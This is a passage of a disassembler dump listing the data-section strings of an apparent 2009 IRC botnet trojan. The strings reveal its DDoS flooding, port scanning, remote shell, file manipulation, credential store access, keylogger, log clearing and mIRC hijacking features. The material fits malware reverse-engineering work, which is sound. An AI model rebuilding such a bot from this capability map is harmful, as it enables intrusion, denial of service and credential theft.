'5OkE/1AWBZq/',0 ; DATA XREF: sub_4020BA+C9o ; sub_406C69+B5o ... align 10h aIhfnL6b5x db '/iHFN/l6B5X/',0 ; DATA XREF: sub_40A9FE+FCFo ; sub_40A9FE+1637o ... align 10h aAsqfy_k1uah0 db 'AsQfy.K1uah0',0 ; DATA XREF: sub_41567F+A8Co ; sub_418AD3+126o ... align 10h aBnjcz_zig1m0 db 'bNJcZ.ziG1m0',0 ; DATA XREF: sub_4033A3+6Bo ; sub_40A9FE+8396o ... align 10h aSfe3h0kclgx0 db 'SFe3H0kCLgx0',0 ; DATA XREF: sub_402459+1C6o ; sub_41567F+AA2o ... align 10h aYdidb16dnmq_ db 'YdidB16dnMQ.',0 ; DATA XREF: sub_402459+A7o ; sub_402459+C9o ... align 10h aQvdspRbq6w0 db 'QvDsp/rBQ6w0',0 ; DATA XREF: sub_41567F+ABBo ; sub_4182BA+3F8o ... align 10h aVv3aj1ywfkc_xz db 'VV3AJ1ywFkC.XzinP/s/R0A.',0 ; DATA XREF: sub_40A9FE+52BDo ; sub_40A9FE+533Fo ... align 4 aNd4qzY5xml0rna db 'nD4Qz/y5xMl0RNAQI05pV11/XzinP/s/R0A.',0 ; DATA XREF: sub_41567F+AD1o ; sub_4182BA+722o ... align 4 aRy6iq0udbph db 'RY6IQ0UDbPh/',0 ; DATA XREF: sub_41567F+ADCo ; sub_4182BA+241o ... align 4 aW3nki_guvjx db 'w3NKI.gUvJx/',0 ; DATA XREF: sub_41567F+AE7o ; sub_4182BA+6A9o ... align 4 aRy6iq0udbphLlD db 'RY6IQ0UDbPh/LL/Dw.r3B9K/',0 ; DATA XREF: sub_40A9FE+5686o ; sub_40A9FE+5747o ... align 10h aRy6iq0udbphN2n db 'RY6IQ0UDbPh/N2NHs/pc9zb/8Wb3v063Ds00',0 ; DATA XREF: sub_40A9FE+5912o ; sub_41567F+AFDo ... align 4 a8cbgoRjryr_ db '8CBGO/rJRYr.',0 ; DATA XREF: sub_4020BA+B4o ; sub_40A9FE+220Co ... align 4 aKbwmi16jfhl db 'KbwMi16jFhl/',0 ; DATA XREF: sub_4020BA+C4o ; sub_402675+B3o ... align 4 aIde746o6B_ db 'Ide74/6o6/B.',0 ; DATA XREF: sub_402675+AEo ; sub_41567F+B21o align 4 aY2lm40nv3yaP4m db 'Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1',0 ; DATA XREF: sub_40A9FE+62C3o ; sub_40A9FE+63B4o ... align 10h a7zfry0iusme1 db '7Zfry0IUSmE1',0 ; DATA XREF: .text:004086F6o ; .text:00408787o ... align 10h a_9fty1n2tM_ db '.9ftY1N2T/m.',0 ; DATA XREF: sub_401B6E+1E4o ; sub_401B6E+26Fo ... align 10h aVxppy0owq7d db 'VxPpy0owQ7D/',0 ; DATA XREF: sub_401B6E+18Fo ; sub_401B6E+214o ... align 10h aW50oj_ac8ak0 db 'w50OJ.ac8AK0',0 ; DATA XREF: sub_401B6E+1DFo ; sub_401B6E+26Ao ... align 10h aVgh9x1uWay0 db 'VgH9X1u/wAY0',0 ; DATA XREF: sub_401B6E+1BFo ; sub_401B6E+248o ... align 10h aEih0f1gakfp0 db 'EiH0f1GakFP0',0 ; DATA XREF: sub_401B6E+232o ; sub_406429+1CEo ... align 10h aUfbss0cbo8c_ db 'uFbSS0Cbo8C.',0 ; DATA XREF: sub_401B6E+1A7o ; sub_401B6E+226o ... align 10h aLvk_hHddio0 db 'Lvk.H/hddio0',0 ; DATA XREF: sub_401B6E+194o ; sub_401B6E+219o ... align 10h aJsuah_0_mmw0zb db 'JsuAH.0.mmW0zbFKT0RKhRb0',0 ; DATA XREF: sub_401B6E+184o ; sub_401B6E+209o ... align 4 aAqq27_7qqv10 db 'AQQ27.7qQv10',0 ; DATA XREF: sub_401B6E+179o ; sub_401B6E+1FEo ... align 4 a2Afm0dt3o6_ db '2/Afm0dt3o6.',0 ; DATA XREF: .text:0040868Eo ; .text:loc_408713o ... align 4 aQvp40nd9f2 db '/qvP40nD9F2/',0 ; DATA XREF: sub_41567F+BB3o ; sub_42045F+29Co ... align 4 aMkk0_mvscp_hwh db 'mKK0/.MVScP.hwHKV/Er1cB0ZvOBu/66U/i/nNp.h0vRRTD1Po4dT/gU924/',0 ; DATA XREF: sub_41567F+BC1o ; sub_42045F+25Eo ... align 4 aShktk1eNl8Jlzt db 'sHKtk1e/Nl8/jLZte1JtI/t1',0 ; DATA XREF: sub_41567F+BCCo ; sub_42045F+14Ao align 4 aZcm1__num3n0oe db 'ZcM1..nUM3N0OE819.1TEYD.',0 ; DATA XREF: sub_41567F+BD7o ; sub_42045F+208o align 4 a5_xnq0cowxs0 db '5.Xnq0cowXs0',0 ; DATA XREF: sub_40A9FE+8E8o ; sub_40A9FE+90Fo ... align 4 a8y4sz09fdh50tc db '8Y4sz09fDH50tccap0cH5OH0/mDXM1sxCV2/iNReP/bJcGz.',0 ; DATA XREF: sub_40A9FE+933o ; sub_40A9FE+955o ... align 4 aRnyaa0crtpo0yy db 'RNYAA0crTPO0yYB2h.Fe8bw.iRLzu0EdQ3j/1D6Op1DNN3X.',0 ; DATA XREF: sub_40A9FE+968o ; sub_41567F+BF8o align 4 aEuior0ay2w7_ db 'EUIOR0ay2w7.',0 ; DATA XREF: sub_40A9FE+8D7o ; sub_40A9FE+9C7o ... align 4 aTfee90w_vdg1u8 db 'TFEE90W.vdG1u8Ajp1eidrT.d2k2X/no6gm/',0 ; DATA XREF: sub_4033A3+82o ; sub_4033A3:loc_403443o ... align 4 aIbtox1Hofe0hcx db 'IBtOx1/HOfe0Hcxmb/oUlVg00eWuQ.F61Hj/',0 ; DATA XREF: sub_4033A3+C3o ; sub_40A9FE+D17o ... align 4 aTpzyk0moe8_0jt db 'TpzyK0MOE8.0jTPEZ1dC0uG0',0 ; DATA XREF: sub_40A9FE+D68o ; sub_40A9FE+D8Eo ... align 4 a4ezrg1ye5hp1o2 db '4Ezrg1ye5hp1O2jqY1BhtQc.jTPEZ1dC0uG0',0 ; DATA XREF: sub_40A9FE+DA4o ; sub_40A9FE+DCAo ... align 10h aJqrlpUxr08Qqdu db 'JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znNna1b7t5k0pequ3.5yg/c/',0 ; DATA XREF: sub_40A9FE+DECo ; sub_40A9FE+F7Ao ... align 10h a4ezrg1ye5hp1au db '4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO6N/QGUB30',0 ; DATA XREF: sub_40A9FE+EE8o ; sub_40A9FE+F0Eo ... align 4 a2ms3c_kjtek0 db '2MS3c.kJTeK0',0 ; DATA XREF: sub_40A9FE+1A71o ; sub_41567F+C53o align 4 aOgyzo1Qmpy1 db 'OGyZo1/qmpy1',0 ; DATA XREF: sub_40A9FE+1A6Bo ; sub_41567F+C5Eo align 4 aNI427pnt0 db 'n/i4//27pnT0',0 ; DATA XREF: sub_40A9FE+1A59o ; sub_41567F+C69o align 4 aXg4wo0gh6fy0p9 db 'xg4wO0Gh6FY0p9CIj.BYYVY.',0 ; DATA XREF: sub_40A9FE+1A53o ; sub_41567F+C77o align 10h aTarxm0mtxpp_ db 'tArXm0mtxpp.',0 ; DATA XREF: sub_406D7F+D1o ; sub_407281+63o ... align 10h aQ3bef_grjcn1aa db 'Q3BEf.grJCN1aA/Td0EX07M1',0 ; DATA XREF: sub_40A9FE+19D3o ; sub_40A9FE:loc_40C41Fo ... align 4 aPJs70eukyp0 db 'P/JS70EukYp0',0 ; DATA XREF: sub_40A9FE:loc_40C408o ; sub_41567F+C98o align 4 aUDneTzo8s_omqd db 'u/DnE/tzo8s.OMQDW1DERIa/',0 ; DATA XREF: sub_40A9FE+1B93o ; sub_41567F+CA3o align 4 a2n67h0pevch1 db '2n67H0PEVch1',0 ; DATA XREF: sub_41567F+CAEo align 4 a5v1zc1efrzg_tc db '5v1zc1EfRZg.tccap0cH5OH0NHckR.k9Wj.1',0 ; DATA XREF: sub_40A9FE+426o ; sub_41567F+CB9o align 10h a6f3al1m_ydx05y db '6f3aL1m.YdX05ythl/YiVnR/jSlje0VWu/50pequ3.5yg/c/',0 ; DATA XREF: sub_40A9FE+B2Bo ; sub_41567F+CC4o align 4 a3un9w_temux_5y db '3Un9W.TEMuX.5ythl/YiVnR/J9IiO.VPA7i1',0 ; DATA XREF: sub_41567F+CD2o ; sub_4182BA+662o align 4 aNeuf6qyoiMdAn1 db 'NEuF//6QYOi/Md/AN15kOfy.nR01m1pzFKu1',0 ; DATA XREF: sub_40A9FE+1BD6o ; sub_41567F+CE8o align 4 a7nmru1owjrg0md db '7NmRu1oWjRG0Md/AN15kOfy.nR01m1pzFKu1',0 ; DATA XREF: sub_41567F+CDDo align 4 aNxruj_viib6 db 'nxruJ.vIib6/',0 ; DATA XREF: sub_41567F+CF3o ; sub_418FA1:loc_418FD3o align 4 a5gcpxGycn21n1z db '5GCpx/gYCn21N1Zsj.w3Ty30',0 ; DATA XREF: sub_41567F+CFEo ; sub_418FA1+1ACo align 4 aFoabg1acvfoOsd db 'fOaBg1ACVfo/osdpb1E0v95.',0 ; DATA XREF: sub_40A9FE+711o ; sub_40A9FE+1516o ... align 4 aPimgt12pvee_ db 'pImgT12pvEE.',0 ; DATA XREF: sub_40A9FE+28FAo ; sub_41567F+D14o align 4 aJgyqn0dmzir12z db 'jgYqN0dmziR12zQe40gFoLm.rilJR.uuL/I0',0 ; DATA XREF: sub_40A9FE:loc_40D330o ; sub_41567F+D1Fo align 4 aAqejv_njvii_y8 db 'aQeJV.nJvIi.y8Ri./b5L.q.',0 ; DATA XREF: sub_41567F+D2Do ; sub_418FA1:loc_419118o align 4 aSSSS db '%s %s (%s) %s',0 ; DATA XREF: sub_40A9FE+9F54o ; sub_40A9FE+9F85o align 4 aBuiltOct102009 db ' Built: Oct 10 2009 20:03:55',0 ; DATA XREF: sub_40A9FE+9F38o ; sub_40A9FE+9F69o align 4 aUnsecure db 'Unsecure',0 ; DATA XREF: sub_40A9FE+9E4Ao ; sub_42184C+265o ... align 4 aSecure db 'Secure',0 ; DATA XREF: sub_40A9FE+9E43o ; sub_42184C+295o align 4 aSNoSubnetCla_0 db '%s No subnet class specified',0 ; DATA XREF: sub_40A9FE:loc_414711o align 10h aSSSSDWithADe_0 db '%s %s %s %s:%d with a delay of %d seconds for %d minutes using %d' ; DATA XREF: sub_40A9FE+9B94o ; sub_40A9FE+9C9Bo ... db ' threads',0 align 4 aSPortInvalid_ db '%s Port invalid.',0 ; DATA XREF: sub_40A9FE+98B9o align 10h aSInvalidPort_ db '%s Invalid port.',0 ; DATA XREF: sub_40A9FE+9897o align 4 aSSDForDSecs__0 db '%s --> (%s:%d) for %d secs.',0 ; DATA XREF: sub_40A9FE+93BFo aSNoDelay_ db '%s No delay.',0 ; DATA XREF: sub_40A9FE:loc_413D77o align 10h aSShouldRunS_ db '%s Should run: "%s".',0 ; DATA XREF: sub_40A9FE+91ECo align 4 aSFailedToParse db '%s Failed to parse command.',0 ; DATA XREF: sub_40A9FE+9141o ; sub_40A9FE+9258o a7: ; DATA XREF: sub_40A9FE+8D77o ; sub_40A9FE+8EE5o ... unicode 0, <7>,0 aVista db 'vista',0 ; DATA XREF: sub_40A9FE+8D4Eo ; sub_40A9FE+8ECEo align 10h a2k3 db '2k3',0 ; DATA XREF: sub_40A9FE+8D2Ao ; sub_40A9FE+8EA7o a2k_0 db '2k',0 ; DATA XREF: sub_40A9FE+8CEFo ; sub_40A9FE+8E59o align 4 aMe db 'me',0 ; DATA XREF: sub_40A9FE+8CC8o ; sub_40A9FE+8E32o align 4 a98 db '98',0 ; DATA XREF: sub_40A9FE+8CA1o ; sub_40A9FE+8E0Bo ... align 10h aNt db 'nt',0 ; DATA XREF: sub_40A9FE+8C6Eo ; sub_40A9FE+8DD8o align 4 a95 db '95',0 ; DATA XREF: sub_40A9FE+8C3Bo ; sub_40A9FE+8DA5o ... align 4 aSTryingToGetEx db '%s Trying to get external IP.',0 ; DATA XREF: sub_40A9FE+8849o ; sub_40A9FE+8867o align 4 a?: ; DATA XREF: sub_40A9FE+8669o ; sub_40A9FE+86D5o ... unicode 0, <?>,0 align 10h aSSHttp1_1Refer db '%s %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_40A9FE+84C1o db 'Referer: %s',0Dh,0Ah db 'User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; .N' db 'ET CLR 1.1.4322)',0Dh,0Ah db 'Host: %s',0Dh,0Ah db 'Connection: Keep-Alive',0Dh,0Ah db 0Dh,0Ah,0 align 4 aSSiteFailedToO db '%s Site failed to open.',0 ; DATA XREF: sub_40A9FE+8345o ; sub_40A9FE+8362o aSSiteOpened_ db '%s Site opened.',0 ; DATA XREF: sub_40A9FE+8300o aIexplore db 'iexplore',0 ; DATA XREF: sub_40A9FE+82E2o align 4 aSS__0 db '%s --> (%s).',0 ; DATA XREF: sub_40A9FE+81FAo ; sub_40A9FE+8217o ... align 4 aSSDDPackets_ db '%s --> (%s:%d) %d packets.',0 ; DATA XREF: sub_40A9FE+8016o ; sub_40A9FE+8047o ... align 4 aSSDWithDPacks db '%s --> (%s:%d) with %d packs',0 ; DATA XREF: sub_40A9FE+7C31o ; sub_40A9FE+7DAEo align 4 aSSDWithDConnSF db '%s --> (%s:%d) with %d conn',27h,'s for %d sec',27h,'s',0 ; DATA XREF: sub_40A9FE+7AB1o align 4 aSSForDSecS db '%s --> (%s) for %d sec',27h,'s',0 ; DATA XREF: sub_40A9FE+790Bo align 10h aSSDForDSecS db '%s --> (%s:%d) for %d sec',27h,'s',0 ; DATA XREF: sub_40A9FE+78B0o ; sub_40A9FE+78E1o aSSD_1 db '%s --> (%s:%d)',0 ; DATA XREF: sub_40A9FE+7676o ; sub_40A9FE+769Co ... align 4 aSSForDSecs_ db '%s --> (%s) for (%d secs).',0 ; DATA XREF: sub_40A9FE+7495o ; sub_40A9FE+74BBo ... align 4 aSSForDSecsWith db '%s --> (%s) for %d secs with %d ms delay.',0 ; DATA XREF: sub_40A9FE+6D20o ; sub_40A9FE+6D51o ... align 4 aSSDForDSecs_ db '%s --> (%s:%d) for (%d secs).',0 ; DATA XREF: sub_40A9FE+6A70o ; sub_40A9FE+6F53o ... align 4 aSPortPscanStar db '%s Port pscan started: %s:%d with delay: %d(ms).',0 ; DATA XREF: sub_40A9FE+65BDo align 4 aSSSSDWithADela db '%s %s %s %s:%d with a delay of %d seconds for %d minutes using %d' ; DATA XREF: sub_40A9FE+62ABo db ' threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_40A9FE+629Ao ; sub_40A9FE+6390o ... align 10h aRandom db 'Random',0 ; DATA XREF: sub_40A9FE+6293o ; sub_40A9FE+6389o ... align 4 aSNoSubnetClass db '%s No subnet class specified.',0 ; DATA XREF: sub_40A9FE+6157o align 4 aSNoIpSpecified db '%s No IP specified.',0 ; DATA XREF: sub_40A9FE+6089o ; sub_40A9FE:loc_41470Ao aD_x_x_x db '%d.x.x.x',0 ; DATA XREF: sub_40A9FE+6004o ; sub_40A9FE+990Eo align 4 aX_x_x_x db 'x.x.x.x',0 ; DATA XREF: sub_40A9FE+5FD6o ; sub_40A9FE+98DCo aSInvalidPort db '%s Invalid port',0 ; DATA XREF: sub_40A9FE+5F9Co aSIsOn_ db '%s is on.',0 ; DATA XREF: sub_40A9FE+5CE9o align 4 aSIsOff_ db '%s is off.',0 ; DATA XREF: sub_40A9FE+5CA2o ; sub_40A9FE+5D1Do ... align 4 aSIsSetToSDUSPS db '%s is set to %s:%d U: %s P: %s F: %s',0 ; DATA XREF: sub_40A9FE+5BC4o ; sub_40A9FE+5C30o align 10h aSSDDDDD_exe db '%s%s%d%d%d%d%d.exe',0 ; DATA XREF: sub_40A9FE+5884o align 4 aSSS_ db '%s %s %s.',0 ; DATA XREF: sub_40A9FE+568Co ; sub_40A9FE+574Do ... align 10h aSConnectionClo db '%s Connection closed: (%i/%ikB sent).',0 ; DATA XREF: sub_40A9FE+5563o align 4 aSTimedOutClosi db '%s Timed Out, closing connection.',0 ; DATA XREF: sub_40A9FE+5462o align 4 aSDDI db '%s %d %d %i',0 ; DATA XREF: sub_40A9FE+5408o aDccSendSS db 'DCC Send %s (%s)',0 ; DATA XREF: sub_40A9FE+53CFo align 4 aSendingYouS db 'Sending you %s',0 ; DATA XREF: sub_40A9FE+53AFo align 4 aSBindSD db '%s Bind %s <%d>',0 ; DATA XREF: sub_40A9FE+5349o aSSD db '%s %s <%d>',0 ; DATA XREF: sub_40A9FE+52C7o ; sub_40A9FE+841Do ... align 4 aSNoFile db '%s No file',0 ; DATA XREF: sub_40A9FE+5284o align 4 aSFailedToOpenS db '%s Failed to open: "%s",error: <%d>',0 ; DATA XREF: sub_40A9FE+5154o ; sub_40A9FE+517Co aSOpenedS_ db '%s Opened: "%s".',0 ; DATA XREF: sub_40A9FE+50FAo align 4 aOpen db 'open',0 ; DATA XREF: sub_40A9FE+50E5o ; sub_40A9FE+82E7o ... align 4 aSFailedToSetAt db '%s Failed to set Attributes to: "%s",error: <%d>',0 ; DATA XREF: sub_40A9FE+5097o ; sub_40A9FE+50BFo align 4 aSAttributesSet db '%s Attributes Set to: "%s".',0 ; DATA XREF: sub_40A9FE+5070o aSFailedToCopyS db '%s Failed to copy: "%s" to "%s",error: <%d>',0 ; DATA XREF: sub_40A9FE+4FE5o ; sub_40A9FE+5014o aSCopiedSToS db '%s Copied: "%s" to "%s"',0 ; DATA XREF: sub_40A9FE+4F79o aSFailedToMoveS db '%s Failed to move: "%s" to: "%s", error: <%d>',0 ; DATA XREF: sub_40A9FE+4E4Do ; sub_40A9FE+4E7Co align 4 aSMovedSToS db '%s Moved: "%s" to: "%s"',0 ; DATA XREF: sub_40A9FE+4DE9o aSSDoesnTExist_ db '%s %s doesn',27h,'t exist.',0 ; DATA XREF: sub_40A9FE:loc_40F705o align 4 aSSIsNotAFolder db '%s %s is not a folder.',0 ; DATA XREF: sub_40A9FE:loc_40F6FEo align 10h aSFailedToDelet db '%s Failed to delete folder: %s',0 ; DATA XREF: sub_40A9FE:loc_40F6F4o align 10h aSFolderDeleted db '%s Folder deleted: %s',0 ; DATA XREF: sub_40A9FE+4CECo align 4 aSFailedToDelFi db '%s Failed to del file: %s, error: <%d>',0 ; DATA XREF: sub_40A9FE+4C67o ; sub_40A9FE+4C8Fo align 10h aSFileDeletedS db '%s File deleted: %s',0 ; DATA XREF: sub_40A9FE+4C40o aSFileDoesnTExi db '%s File doesn',27h,'t exist: %s',0 ; DATA XREF: sub_40A9FE+4C12o align 10h aSFileExistsS db '%s File exists: %s',0 ; DATA XREF: sub_40A9FE+4C03o align 4 aSFailedToReadF db '%s Failed to read file: %s,error: <%d>',0 ; DATA XREF: sub_40A9FE+4BA6o ; sub_40A9FE+4BCEo align 4 aSFileDisplayed db '%s File displayed: %s',0 ; DATA XREF: sub_40A9FE+4B50o align 4 aSDisplayingFil db '%s Displaying file: %s',0 ; DATA XREF: sub_40A9FE+4AA1o align 4 aSCommandsS_ db '%s Commands: %s.',0 ; DATA XREF: sub_40A9FE+4937o align 10h asc_440D90: ; DATA XREF: sub_40A9FE+48D1o ; sub_40A9FE+857Fo ... dw 0Ah unicode 0, <>,0 aSShellReady_ db '%s Shell ready.',0 ; DATA XREF: sub_40A9FE+47C8o ; sub_40A9FE+47E6o aSCouldnTOpenSh db '%s Couldn',27h,'t open shell.',0 ; DATA XREF: sub_40A9FE+4786o aSSystemcallSen db '%s SystemCall sent: "%s"',0 ; DATA XREF: sub_40A9FE+46F9o align 4 aSSystemcallFai db '%s SystemCall failed.',0 ; DATA XREF: sub_40A9FE+46E0o align 10h aSUnloaded_ db '%s Unloaded.',0 ; DATA XREF: sub_40A9FE+4627o align 10h aSNickservDrop db '%s nickserv drop',0 ; DATA XREF: sub_40A9FE+45F4o align 4 aSNickservRegis db '%s nickserv :register pass103 %s',0 ; DATA XREF: sub_40A9FE+45C1o align 4 aS@S_com db '%s@%s.com',0 ; DATA XREF: sub_40A9FE+45A4o align 4 aSMemoservSendS db '%s memoserv :send %s %s',0 ; DATA XREF: sub_40A9FE+455Do dword_440E5C dd 25207325h, 13A2073h, 20434344h, 444E4553h, 73252220h ; DATA XREF: sub_40A9FE+3E0Do ; sub_40A9FE+3F02o dd 31322022h, 30373033h, 33333436h, 1642520h, 0 dword_440E84 dd 206325h aSSDccSendCS db '%s %s :DCC SEND C:\\\\%s',0 ; DATA XREF: sub_40A9FE+3CDBo align 4 dword_440EA4 dd 25207325h, 23A2073h, 25323103h, 73250373h, 25323103h ; DATA XREF: sub_40A9FE+3CBBo dd 20373h dword_440EBC dd 25207325h, 13A2073h, 20434344h, 444E4553h, 20732520h ; DATA XREF: sub_40A9FE+3C8Co dd 30333132h, 34363037h, 25203333h, 164h dword_440EE0 dd 25207325h, 13A2073h, 20434344h, 444E4553h, 2E642520h ; DATA XREF: sub_40A9FE+3C5Co dd 20657865h, 63657845h, 6E697475h, 69662067h, 2520656Ch dd 164h, 0 dword_440F10 dd 25207325h, 13A2073h, 20434344h, 444E4553h, 2E642520h ; DATA XREF: sub_40A9FE+3C22o dd 20747874h, 6E65704Fh, 25206465h, 202C2064h, 64616572h dd 2C676E69h, 706D6F63h, 6574656Ch, 202D2064h, 6F6C7075h dd 63206461h, 6C706D6Fh, 21657465h, 1 dword_440F5C dd 25207325h, 13A2073h, 20434344h, 444E4553h, 576F5720h ; DATA XREF: sub_40A9FE+3BE8o dd 5F736569h, 69576F57h, 575F7365h, 6569576Fh, 31322073h dd 30373033h, 33333436h, 1642520h, 2 dup(0) dword_440F98 dd 64250302h, 5964252Ch, 2C642503h, 34F6425h, 252C6425h ; DATA XREF: sub_40A9FE+3BB9o dd 3A05564h, 252C6425h, 25034864h, 64252C64h, 64250341h dd 5664252Ch, 2C642503h, 0A0456425h, 2C642503h, 3426425h dd 252C6425h, 25034564h, 64252C64h, 64250345h, 4E64252Ch dd 642503A0h, 5064252Ch, 2C642503h, 3556425h, 252C6425h dd 3A05464h, 252C6425h, 25034964h, 64252C64h, 2503A04Eh dd 64252C64h, 64250354h, 4864252Ch, 2C642503h, 0A0456425h dd 2C642503h, 63256425h, 2C642503h, 3576425h, 252C6425h dd 2034E64h, 0 dword_441040 dd 69257325h, 0 dword_441048 dd 434F4E4Bh, 7325204Bh, 73253A20h, 0dword_441058 dd 25207325h, 73252073h, 0 ; sub_40A9FE+36D3o ... dword_441064 dd 25207325h, 13A2073h, 474E4946h, 15245h ; sub_40A9FE+342Fo ... dword_441074 dd 25207325h, 13A2073h, 53524556h, 14E4F49h, 0 ; sub_40A9FE+4308o dword_441088 dd 25207325h, 13A2073h, 474E4950h, 1 ; sub_40A9FE+333Fo ... dword_441098 dd 25207325h, 13A2073h, 17325hdword_4410A4 dd 64250302h, 2064252Ch, 3026325h, 0dword_4410B4 dd 64250302h, 2564252Ch, 3022063h, 2 dup(0)unk_4410C8 db 3Fh ; ? ; DATA XREF: sub_40A9FE+2F07o db 1, 44h, 43h aCSendFf???f?11 db 'C SEND "ff???f?𝑹𝑰𝑷𝑳𝑶w' db '923;𝑺𝑼𝑷𝑮𝑼𝒀⻙' db '0;" 0 0 0',0 dword_441158 dd 64250302h, 3F64252Ch, 43434401h, 4E455320h, 66222044h ; DATA XREF: sub_40A9FE+2EF6o dd 3F3F3F66h, 20223F66h, 20302030h, 20330h, 0 dword_441180 dd 64250302h, 5964252Ch, 2C642503h, 34F6425h, 252C6425h ; DATA XREF: sub_40A9FE+2EC9o dd 3A05564h, 252C6425h, 25034864h, 64252C64h, 64250341h dd 5664252Ch, 2C642503h, 0A0456425h, 2C642503h, 3426425h dd 252C6425h, 25034564h, 64252C64h, 64250345h, 4E64252Ch dd 642503A0h, 5064252Ch, 2C642503h, 3556425h, 252C6425h dd 3A05464h, 252C6425h, 25034964h, 64252C64h, 2503A04Eh dd 64252C64h, 64250354h, 4864252Ch, 2C642503h, 0A0456425h dd 2C642503h, 63256425h, 2C642503h, 3576425h, 252C6425h dd 73204E64h, 74726174h, 79656B20h, 67676F6Ch, 2037265h dd 0 aAbcdefghijklmn db 'abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_40A9FE+2CBAo ; sub_40A9FE+3D5Co ... align 4 aSSS db '%s %s :%s',0 ; DATA XREF: sub_40A9FE+2C7Eo ; sub_40A9FE+2F28o ... align 4 aSLoadedOntoSDA db '%s Loaded Onto: (%s:%d), Amount: (%d)',0 ; DATA XREF: sub_40A9FE+2AD8o ; sub_40A9FE+2B0Do align 4 aSTooMuchConns_ db '%s Too Much conns.',0 ; DATA XREF: sub_40A9FE+2A77o align 10h aSObtainingExte db '%s Obtaining external IP',0 ; DATA XREF: sub_40A9FE+299Fo align 4 aSSSS_ db '%s %s: %s -> %s.',0 ; DATA XREF: sub_40A9FE+2904o align 10h aSFailedToLoadD db '%s Failed to load dnsapi.dll.',0 ; DATA XREF: sub_40A9FE:loc_40D275o align 10h aSFailedToFlu_0 db '%s Failed to flush DNS cache.',0 ; DATA XREF: sub_40A9FE:loc_40D26Bo align 10h aSDnsCacheFlush db '%s DNS cache flushed.',0 ; DATA XREF: sub_40A9FE+2863o align 4 aSFailedToFlush db '%s Failed to flush ARP.',0 ; DATA XREF: sub_40A9FE+2838o aSArpFlushed_ db '%s ARP flushed.',0 ; DATA XREF: sub_40A9FE+282Do aSClientNotOp_0 db '%s Client not open or found: "%s"',0 ; DATA XREF: sub_40A9FE:loc_40D1F3o align 4 aSCommandSentS db '%s Command sent: "%s"',0 ; DATA XREF: sub_40A9FE+27EEo align 4 aSClientNotOpen db '%s Client not open.',0 ; DATA XREF: sub_40A9FE+274Eo ; sub_40A9FE+2770o aSUserIsRunning db '%s User is running mIRC v %s, Connected to %s (%s:%s) Nick: %s, O' ; DATA XREF: sub_40A9FE+2708o db 'n chans: (%s).',0 asc_441410 db ', ',0 ; DATA XREF: sub_40A9FE+2691o align 4 aChanI db '$chan(%i)',0 ; DATA XREF: sub_40A9FE+264Bo align 10h aChan0 db '$chan(0)',0 ; DATA XREF: sub_40A9FE+2602o align 4 aPort_0 db '$port',0 ; DATA XREF: sub_40A9FE+25C2o align 4 aServerip db '$serverip',0 ; DATA XREF: sub_40A9FE+2585o align 10h aServer_0 db '$server',0 ; DATA XREF: sub_40A9FE+2542o aVersion db '$version',0 ; DATA XREF: sub_40A9FE+24B6o align 4 aMirc db 'mIRC',0 ; DATA XREF: sub_40A9FE+2466o ; sub_41DA15+3Co ... align 4 aSSentIrcRawS_ db '%s Sent IRC raw: "%s".',0 ; DATA XREF: sub_40A9FE+2411o align 4 aSSOnSIThreadNu db '%s %s on %s: %i, thread number: %i.',0 ; DATA XREF: sub_40A9FE+22C6o ; sub_40A9FE+22F6o aSSOnSISS_ db '%s %s on %s: %i, %s: %s.',0 ; DATA XREF: sub_40A9FE+223Ao align 4 aSCreateProcess db '%s Create process thread.',0 ; DATA XREF: sub_40A9FE+20E5o align 10h aSProcs db '%s Procs',0 ; DATA XREF: sub_40A9FE+1FB3o align 4 aSBkillS db '%s BKill %s',0 ; DATA XREF: sub_40A9FE+1D91o aSBkillThread_ db '%s BKill thread.',0 ; DATA XREF: sub_40A9FE+1D78o align 4 aS2maintenance_ db '%s /2Maintenance./2',0 ; DATA XREF: sub_40A9FE+1C45o aRecord db ', (Record)',0 ; DATA XREF: sub_40A9FE:loc_40C518o align 4 aRecordUptimeS_ db ', Record UpTime: (%s).',0 ; DATA XREF: sub_40A9FE+1AFBo align 4 aSUptimeS_ db '%s UpTime: (%s).',0 ; DATA XREF: sub_40A9FE+1AD1o align 4 aSSSSSSSSSS db '%s %s %s, %s %s (%s), %s (%s), %s (%s)',0 ; DATA XREF: sub_40A9FE+1A7Bo align 10h aSAndS db '%s and %s',0 ; DATA XREF: sub_40A9FE+1A2Bo align 4 aSSOnSI_0 db '%s %s on: (%s:%i)',0 ; DATA XREF: sub_40A9FE+1855o ; sub_40A9FE+187Fo align 10h aSSOnSI db '%s %s on: [%s:%i]',0 ; DATA XREF: sub_40A9FE+17A1o align 4 aSPstore db '%s PStore',0 ; DATA XREF: sub_40A9FE+1174o ; sub_40A9FE+1242o align 10h aSStarted_ db '%s started.',0 ; DATA XREF: sub_40A9FE+1039o aSThreadList db '%s Thread list',0 ; DATA XREF: sub_40A9FE+E88o align 4 aSSD_ db '%s %s (%d).',0 ; DATA XREF: sub_40A9FE+DF1o ; sub_40A9FE+ED8o ... aSSS_0 db '%s %s (%s)',0 ; DATA XREF: sub_40A9FE+D4Fo ; sub_40A9FE+1B8Eo ... align 4 aSDS db '%s %d %s',0 ; DATA XREF: sub_40A9FE+CCAo align 10h aSAdvapi_dllNot db '%s Advapi.dll not loaded',0 ; DATA XREF: sub_40A9FE:loc_40B636o ; sub_423846+69o align 4 aSFailedToClear db '%s Failed to clear syslogs',0 ; DATA XREF: sub_40A9FE+C2Eo align 4 aSClearedDDSysl db '%s Cleared [%d/%d] syslogs',0 ; DATA XREF: sub_40A9FE+C1Ao align 4 aSystem db 'system',0 ; DATA XREF: sub_40A9FE+BB9o ; sub_41EBE9+26o align 4 aApplication db 'application',0 ; DATA XREF: sub_40A9FE+BABo ; sub_41EBE9+Eo aSSS@S db '%s [%s!%s@%s]',0 ; DATA XREF: sub_40A9FE+B30o align 4 aSS_ db '%s %s.',0 ; DATA XREF: sub_40A9FE+AA8o ; sub_40A9FE+FD5o ... align 10h aUnsecured db 'Unsecured',0 ; DATA XREF: sub_40A9FE+A9Eo align 4 aSSI db '%s %s (%i)',0 ; DATA XREF: sub_40A9FE+923o ; sub_40A9FE+963o align 4 aSSIS db '%s %s (%i) 